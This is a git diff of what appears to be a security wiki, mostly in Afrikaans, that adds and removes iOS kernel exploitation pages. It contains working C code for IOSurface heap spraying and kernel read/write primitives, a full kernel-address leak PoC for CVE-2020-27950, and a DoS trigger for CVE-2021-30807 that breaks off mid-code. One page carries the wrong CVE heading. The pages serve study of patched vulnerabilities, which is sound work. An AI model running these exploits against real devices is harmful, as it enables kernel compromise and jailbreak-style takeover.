diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index b18b11ccd..d4104d430 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -768,7 +768,7 @@
     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -838,7 +838,7 @@
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
 
 # 🤖 AI
 - [AI Security](AI/README.md)
diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md
deleted file mode 100644
index 1738a3766..000000000
--- a/src/binary-exploitation/ios-exploiting.md
+++ /dev/null
@@ -1,207 +0,0 @@
-# iOS Exploiting
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Fisiese gebruik-na-vry
-
-Dit is 'n opsomming van die pos van [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
-
-### Geheuebestuur in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
-
-Die **virtuele geheue-adresruimte** vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die **kernel** **bladsy tabelle** om virtuele adresse in werklike **fisiese adresse** te vertaal.
-
-#### Vlakke van Bladsy Tabel in iOS
-
-Bladsy tabelle is hiërargies georganiseer in drie vlakke:
-
-1. **L1 Bladsy Tabel (Vlak 1)**:
-* Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.
-* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
-2. **L2 Bladsy Tabel (Vlak 2)**:
-* 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
-* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele streek self kan kaart nie.
-3. **L3 Bladsy Tabel (Vlak 3)**:
-* Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheue bladsy kaart.
-* 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.
-
-#### Kaarting van Virtuele na Fisiese Geheue
-
-* **Direkte Kaarting (Blok Kaarting)**:
-* Sommige inskrywings in 'n bladsy tabel kaart direk 'n reeks van virtuele adresse na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).
-* **Wys na Kind Bladsy Tabel**:
-* As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **kind bladsy tabel** op die volgende vlak (bv. L2) verwys.
-
-#### Voorbeeld: Kaarting van 'n Virtuele Adres
-
-Kom ons sê jy probeer om toegang te verkry tot die virtuele adres **0x1000000000**:
-
-1. **L1 Tabel**:
-* Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **wys na 'n L2 bladsy tabel** het, gaan dit na daardie L2 tabel.
-2. **L2 Tabel**:
-* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daar voort.
-3. **L3 Tabel**:
-* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy verwys.
-
-#### Voorbeeld van Adres Kaarting
-
-As jy die fisiese adres **0x800004000** in die eerste indeks van die L2 tabel skryf, dan:
-
-* Virtuele adresse van **0x1000000000** tot **0x1002000000** kaart na fisiese adresse van **0x800004000** tot **0x802004000**.
-* Dit is 'n **blok kaarting** op die L2 vlak.
-
-Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:
-
-* Elke 4 KB bladsy in die virtuele adres reeks **0x1000000000 -> 0x1002000000** sal deur individuele inskrywings in die L3 tabel gekaart word.
-
-### Fisiese gebruik-na-vry
-
-'n **Fisiese gebruik-na-vry** (UAF) gebeur wanneer:
-
-1. 'n Proses **toewys** 'n bietjie geheue as **leesbaar en skryfbaar**.
-2. Die **bladsy tabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan toegang.
-3. Die proses **deallokeer** (vry) die geheue.
-4. Maar, as gevolg van 'n **fout**, vergeet die kernel om die kaarting uit die bladsy tabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.
-5. Die kernel kan dan **hertoewys hierdie "vrygemaakte" fisiese geheue** vir ander doeleindes, soos **kernel data**.
-6. Aangesien die kaarting nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie fisiese geheue.
-
-Dit beteken die proses kan toegang verkry tot **bladsye van kernel geheue**, wat sensitiewe data of strukture kan bevat, wat moontlik 'n aanvaller in staat stel om **kernel geheue te manipuleer**.
-
-### Ontginning Strategie: Heap Spray
-
-Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd **heap spray**:
-
-1. Die aanvaller **skep 'n groot aantal IOSurface-objekte** in kernel geheue.
-2. Elke IOSurface-objek bevat 'n **magiese waarde** in een van sy velde, wat dit maklik maak om te identifiseer.
-3. Hulle **skandeer die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objekte op 'n vrygemaakte bladsy beland het.
-4. Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **kernel geheue te lees en te skryf**.
-
-Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
-
-### Stap-vir-Stap Heap Spray Proses
-
-1. **Spray IOSurface-Objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
-2. **Skandeer Vrygemaakte Bladsye**: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is.
-3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe om:
-* Een veld te gebruik om **enige 32-bit waarde** in kernel geheue te lees.
-* 'n Ander veld te gebruik om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik.
-
-Genereer IOSurface-objekte met die magiese waarde IOSURFACE\_MAGIC om later te soek:
-```c
-void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
-if (*nClients >= 0x4000) return;
-for (int i = 0; i < nSurfaces; i++) {
-fast_create_args_t args;
-lock_result_t result;
-
-size_t size = IOSurfaceLockResultSize;
-args.address = 0;
-args.alloc_size = *nClients + 1;
-args.pixel_format = IOSURFACE_MAGIC;
-
-IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
-io_connect_t id = result.surface_id;
-
-(*clients)[*nClients] = id;
-*nClients = (*nClients) += 1;
-}
-}
-```
-Soek na **`IOSurface`**-objekte in een vrygemaakte fisiese bladsy:
-```c
-int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
-io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
-int nSurfaceIDs = 0;
-
-for (int i = 0; i < 0x400; i++) {
-spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
-
-for (int j = 0; j < nPages; j++) {
-uint64_t start = puafPages[j];
-uint64_t stop = start + (pages(1) / 16);
-
-for (uint64_t k = start; k < stop; k += 8) {
-if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
-info.object = k;
-info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
-if (self_task) *self_task = iosurface_get_receiver(k);
-goto sprayDone;
-}
-}
-}
-}
-
-sprayDone:
-for (int i = 0; i < nSurfaceIDs; i++) {
-if (surfaceIDs[i] == info.surface) continue;
-iosurface_release(client, surfaceIDs[i]);
-}
-free(surfaceIDs);
-
-return 0;
-}
-```
-### Bereik Kernel Lees/Skryf met IOSurface
-
-Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir **arbitraire kernel lees en skryf operasies**.
-
-**Belangrike Velde in IOSurface**
-
-Die IOSurface objek het twee belangrike velde:
-
-1. **Gebruik Tel Punter**: Laat 'n **32-bit lees** toe.
-2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bit skryf** toe.
-
-Deur hierdie punters te oorskryf, lei ons dit na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
-
-#### 32-Bit Kernel Lees
-
-Om 'n lees uit te voer:
-
-1. Oorskryf die **gebruik tel punter** om na die teiken adres minus 'n 0x14-byte offset te wys.
-2. Gebruik die `get_use_count` metode om die waarde op daardie adres te lees.
-```c
-uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
-uint64_t args[1] = {surfaceID};
-uint32_t size = 1;
-uint64_t out = 0;
-IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
-return (uint32_t)out;
-}
-
-uint32_t iosurface_kread32(uint64_t addr) {
-uint64_t orig = iosurface_get_use_count_pointer(info.object);
-iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
-uint32_t value = get_use_count(info.client, info.surface);
-iosurface_set_use_count_pointer(info.object, orig);
-return value;
-}
-```
-#### 64-Bit Kernel Write
-
-Om 'n skrywe uit te voer:
-
-1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
-2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
-```c
-void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
-uint64_t args[3] = {surfaceID, 0, value};
-IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
-}
-
-void iosurface_kwrite64(uint64_t addr, uint64_t value) {
-uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
-iosurface_set_indexed_timestamp_pointer(info.object, addr);
-set_indexed_timestamp(info.client, info.surface, value);
-iosurface_set_indexed_timestamp_pointer(info.object, orig);
-}
-```
-#### Exploit Flow Recap
-
-1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
-2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
-3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygestelde bladsy wat jy beheer.
-4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kern lees/skryf** via IOSurface-metodes moontlik te maak.
-
-With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
new file mode 100644
index 000000000..de6bc914c
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
@@ -0,0 +1,332 @@
+# CVE-2021-30807: IOMobileFrameBuffer OOB
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Die Fout
+
+Jy het 'n [goeie uiteensetting van die vuln hier](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel_memory_leak), maar as opsomming:
+
+Elke Mach message wat die kernel ontvang, eindig met 'n **"trailer"**: 'n veranderlike-lengte struct met metadata (seqno, sender token, audit token, context, access control data, labels...). Die kernel **reserveer altyd die grootste moontlike trailer** (MAX_TRAILER_SIZE) in die message buffer, maar **initialiseer slegs sommige velde**, en besluit later **watter trailer-grootte teruggegee word** gebaseer op **deur gebruiker beheerde ontvangopsies**.
+
+Hierdie is die trailer-relevante structs:
+```c
+typedef struct{
+mach_msg_trailer_type_t       msgh_trailer_type;
+mach_msg_trailer_size_t       msgh_trailer_size;
+} mach_msg_trailer_t;
+
+typedef struct{
+mach_msg_trailer_type_t       msgh_trailer_type;
+mach_msg_trailer_size_t       msgh_trailer_size;
+mach_port_seqno_t             msgh_seqno;
+security_token_t              msgh_sender;
+audit_token_t                 msgh_audit;
+mach_port_context_t           msgh_context;
+int                           msgh_ad;
+msg_labels_t                  msgh_labels;
+} mach_msg_mac_trailer_t;
+
+#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
+typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
+#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
+```
+Wanneer die trailer-voorwerp gegenereer word, word slegs sommige velde geïnitialiseer, en die maksimum trailer-grootte word altyd gereserveer:
+```c
+trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
+trailer->msgh_sender = current_thread()->task->sec_token;
+trailer->msgh_audit = current_thread()->task->audit_token;
+trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
+trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
+[...]
+trailer->msgh_labels.sender = 0;
+```
+Byvoorbeeld, wanneer jy probeer om ’n mach-boodskap te lees met `mach_msg()` word die funksie `ipc_kmsg_add_trailer()` aangeroep om die trailer aan die boodskap toe te voeg. Binne hierdie funksie word die trailer-grootte bereken en sommige ander trailer-velde gevul:
+```c
+if (!(option & MACH_RCV_TRAILER_MASK)) {                                                       [3]
+return trailer->msgh_trailer_size;
+}
+
+trailer->msgh_seqno = seqno;
+trailer->msgh_context = context;
+trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
+```
+Die `option`-parameter is deur die gebruiker beheerbaar, dus **moet 'n waarde gestuur word wat die `if`-kontrole slaag.**
+
+Om hierdie kontrole te slaag, moet ons 'n geldige ondersteunde `option` stuur:
+```c
+#define MACH_RCV_TRAILER_NULL   0
+#define MACH_RCV_TRAILER_SEQNO  1
+#define MACH_RCV_TRAILER_SENDER 2
+#define MACH_RCV_TRAILER_AUDIT  3
+#define MACH_RCV_TRAILER_CTX    4
+#define MACH_RCV_TRAILER_AV     7
+#define MACH_RCV_TRAILER_LABELS 8
+
+#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
+#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
+#define MACH_RCV_TRAILER_MASK        ((0xf << 24))
+```
+Maar omdat die `MACH_RCV_TRAILER_MASK` net bits kontroleer, kan ons enige waarde tussen `0` en `8` deurgee om nie binne die `if` statement in te gaan nie.
+
+Dan, as jy met die kode voortgaan, vind jy:
+```c
+if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
+trailer->msgh_ad = 0;
+}
+
+/*
+* The ipc_kmsg_t holds a reference to the label of a label
+* handle, not the port. We must get a reference to the port
+* and a send right to copyout to the receiver.
+*/
+
+if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
+trailer->msgh_labels.sender = 0;
+}
+
+done:
+#ifdef __arm64__
+ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
+#endif /* __arm64__ */
+
+return trailer->msgh_trailer_size;
+```
+Waar jy kan sien dat as die `option` groter is of gelyk aan `MACH_RCV_TRAILER_AV` (7), die veld **`msgh_ad`** geïnitialiseer word na `0`.
+
+As jy opgelet het, was **`msgh_ad`** steeds die enigste veld van die trailer wat voorheen nie geïnitialiseer is nie en wat 'n leak van voorheen gebruikte geheue kon bevat.
+
+Dus, om dit te vermy om dit te initialiseer, sou jy 'n `option`-waarde van `5` of `6` deurgee, sodat dit die eerste `if`-kontrole slaag en nie die `if` betree wat `msgh_ad` initialiseert nie, omdat die waardes `5` en `6` nie aan enige trailer-tipe geassosieer is nie.
+
+### Basiese PoC
+
+Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om net 'n paar lukrake data te leak.
+
+### Leak Kernel Address PoC
+
+Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om 'n kernel adres te leak. Hiervoor word 'n boodskap vol `mach_msg_port_descriptor_t` structs in die boodskap gestuur, omdat die veld `name` van hierdie struktuur in userland 'n unsigned int bevat, maar in kernel is die `name`-veld 'n struct `ipc_port` pointer. Daarom beteken dit dat die stuur van tientalle van hierdie structs in die boodskap in kernel sal lei tot die **byvoeging van verskeie kernel addresses binne die boodskap** sodat een daarvan geleak kan word.
+
+Kommentaar is bygevoeg vir beter begrip:
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <mach/mach.h>
+
+// Number of OOL port descriptors in the "big" message.
+// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
+#define LEAK_PORTS 50
+
+// "Big" message: many descriptors → larger descriptor array in kmsg
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
+} message_big_t;
+
+// "Small" message: fewer descriptors → leaves more room for the trailer
+// to overlap where descriptor pointers used to be in the reused kalloc chunk.
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
+} message_small_t;
+
+int main(int argc, char *argv[]) {
+mach_port_t port;       // our local receive port (target of sends)
+mach_port_t sent_port;  // the port whose kernel address we want to leak
+
+/*
+* 1) Create a receive right and attach a send right so we can send to ourselves.
+*    This gives us predictable control over ipc_kmsg allocations when we send.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
+mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
+
+/*
+* 2) Create another receive port (sent_port). We'll reference this port
+*    in OOL descriptors so the kernel stores pointers to its ipc_port
+*    structure in the kmsg → those pointers are what we aim to leak.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
+mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
+
+printf("[*] Will get port %x address\n", sent_port);
+
+message_big_t   *big_message   = NULL;
+message_small_t *small_message = NULL;
+
+// Compute userland sizes of our message structs
+mach_msg_size_t big_size   = (mach_msg_size_t)sizeof(*big_message);
+mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
+
+// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
+big_message   = malloc(big_size   + MAX_TRAILER_SIZE);
+small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+/*
+* 3) Prepare the "big" message:
+*    - Complex bit set (has descriptors)
+*    - 50 OOL port descriptors, all pointing to the same sent_port
+*    When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
+*    Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
+*/
+printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
+memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
+
+big_message->header.msgh_remote_port = port; // send to our receive right
+big_message->header.msgh_size        = big_size;
+big_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+big_message->body.msgh_descriptor_count = LEAK_PORTS;
+
+for (int i = 0; i < LEAK_PORTS; i++) {
+big_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
+big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+big_message->sent_ports[i].name        = sent_port; // repeated to fill array with pointers
+}
+
+/*
+* 4) Prepare the "small" message:
+*    - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
+*      the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
+*/
+printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
+memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+small_message->header.msgh_remote_port = port;
+small_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
+
+for (int i = 0; i < LEAK_PORTS - 10; i++) {
+small_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
+small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+small_message->sent_ports[i].name        = sent_port;
+}
+
+/*
+* 5) Receive buffer for reading back messages with trailers.
+*    We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
+*    On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
+*    if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
+*/
+uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
+mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
+uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
+
+/*
+* ---------- Exploitation sequence ----------
+*
+* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
+*         kernel pointers (ipc_port*) in its descriptor array.
+*/
+printf("[*] Sending message 1\n");
+mach_msg(&big_message->header,
+MACH_SEND_MSG,
+big_size,            // send size
+0,                   // no receive
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step B: Immediately receive/discard it with a zero-sized buffer.
+*         This frees the kalloc chunk without copying descriptors back,
+*         leaving the kernel pointers resident in freed memory (stale).
+*/
+printf("[*] Discarding message 1\n");
+mach_msg((mach_msg_header_t *)0,
+MACH_RCV_MSG,        // try to receive
+0,                   // send size 0
+0,                   // recv size 0 (forces error/free path)
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
+*         We slightly bump msgh_size by +4 so that when the kernel appends
+*         the trailer, the trailer's uninitialized field `msgh_ad` overlaps
+*         the low 4 bytes of a stale ipc_port* pointer from the prior message.
+*/
+small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
+printf("[*] Sending message 2\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t),
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step D: Receive message 2 and request an invalid trailer elements value (5).
+*         - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
+*         - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
+*         - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
+*           so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
+*/
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 2\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
+0,
+small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+// Trailer begins right after the message body we sent (small_size + 4)
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
+
+// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
+sent_port_address |= (uint32_t)trailer->msgh_ad;
+
+/*
+* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
+*         This moves the overlap window so `msgh_ad` captures the high 4 bytes.
+*/
+printf("[*] Sending message 3\n");
+mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+printf("[*] Discarding message 3\n");
+mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+// add another +4 to msgh_size → total +8 shift from the baseline
+small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
+printf("[*] Sending message 4\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t)*2,
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 4\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
+0,
+small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
+
+// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
+sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
+
+printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
+
+return 0;
+}
+```
+## Verwysings
+
+- [Synacktiv se blogpos](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
+
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
new file mode 100644
index 000000000..050f32f34
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
@@ -0,0 +1,297 @@
+# CVE-2021-30807: IOMobileFrameBuffer OOB
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Die Kwesbaarheid
+
+You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
+
+- The vulnerable code path is **external method #83** of the **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as **`scalar0`**.
+
+- That method forwards into **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, where **`scalar0`** (a user-controlled **32-bit** value) is used as an **index** into an internal **array of pointers** without **any bounds check**:
+
+> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
+> **Result:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**.
+
+> [!NOTE]
+> Dit is reggestel in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
+
+
+> [!WARNING]
+> Die aanvanklike funksie om `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` aan te roep word beskerm deur die entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
+
+## DoS PoC
+
+Die volgende is die aanvanklike DoS PoC uit die oorspronklike blogpost met ekstra kommentaar:
+```c
+// PoC for CVE-2021-30807 trigger (annotated)
+// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
+// Build/run only on devices you own and that are vulnerable.
+// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
+// https://support.apple.com/en-us/103144
+// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
+
+void trigger_clcd_vuln(void) {
+kern_return_t ret;
+io_connect_t shared_user_client_conn = MACH_PORT_NULL;
+
+// The "type" argument is the type (selector) of user client to open.
+// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
+// external methods we need (incl. selector 83). If this doesn't work on your
+// build, try different types or query IORegistry to enumerate.
+int type = 2;
+
+// 1) Locate the IOMobileFramebuffer service in the IORegistry.
